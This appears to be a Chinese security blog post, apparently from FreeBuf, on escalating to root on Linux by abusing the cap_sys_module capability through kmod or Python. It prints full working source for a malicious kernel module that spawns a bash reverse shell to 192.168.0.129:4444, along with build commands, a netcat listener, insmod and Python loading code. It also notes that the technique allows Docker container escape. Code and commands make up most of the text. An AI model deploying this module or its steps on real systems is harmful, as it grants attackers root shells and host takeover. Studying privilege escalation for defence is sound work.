wanxia
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

续上篇,本篇文章将介绍利用cap_sys_module权限进行提权的方法
cap_sys_module
此权限为允许插入和修改内核模块,Linux内核是允许用户通过添加或删除内核模块来扩展其功能,但是一般仅限于root权限,提权的思路是利用拥有module权限的程序注入恶意的内核模块,如果是python或kmod这样的进程具有这种能力,可以使用反向shell直接提权至root用户。
这里分别列举python和kmod提权方法
kmod具有cap_sys_module权限
- 发现kmod具有cap_sys_module权限
getcap -r / 2>/dev/null
- 生成恶意内核模块
1.写入reverse-shell.c(注意修改地址及端口)
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.129/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
2.写Makeflie文件(注意make前不能使用空格,必须使用tab键)
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
3.执行make操作
make
在这里我踩了坑,总是make不成功,提示无法找到文件或目录,后面发现原因是因为没有安装内核开发包,遂进行安装
yum install kernel-devel-$(uname -r)
- 反弹shell
1.监听在reverse-shell.c中填写的端口
nc -nvlp 4444
2.使用kmod注入恶意模块
insmod reverse-shell.ko
python具有cap_sys_module权限
其基本思路也是一样,注入reverse-shell.ko恶意内核模块
但是!!!需要注意的是,python必须安装kmod模块
我们可以通过以下命令查看python是否安装了kmod模块
python -c "help('modules')" | grep kmod
- 发现python具有cap_sys_module权限及kmod模块
- 创建虚假的模块目录
mkdir lib/modules -p
- 将模块复制到此目录下
cp -a /lib/modules/$(uname -r)/ lib/modules/$(uname -r)
- 生成恶意内核模块
1.写入reverse-shell.c,注意修改端口及地址
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.129/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
2.写Makeflie文件(注意要使用tab键)
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
3.执行make操作
- 复制
cp reverse-shell.ko lib/modules/$(uname -r)/
- 监听4444端口
nc -nvlp 4444
- 使用depmod模块更新内核模块列表
- 执行python代码加载内核模块(注意修改路径)
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") #这里要注意修改正确
km.modprobe("reverse-shell")
可以看到,成功弹回了root权限的shell
当然,如果一个docker拥有了cap_sys_module权限,我们就可以进行docker逃逸以至于获得主机的root权限。
本篇文章仅作学习参考使用,文中如有纰漏及错误,敬请指正
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)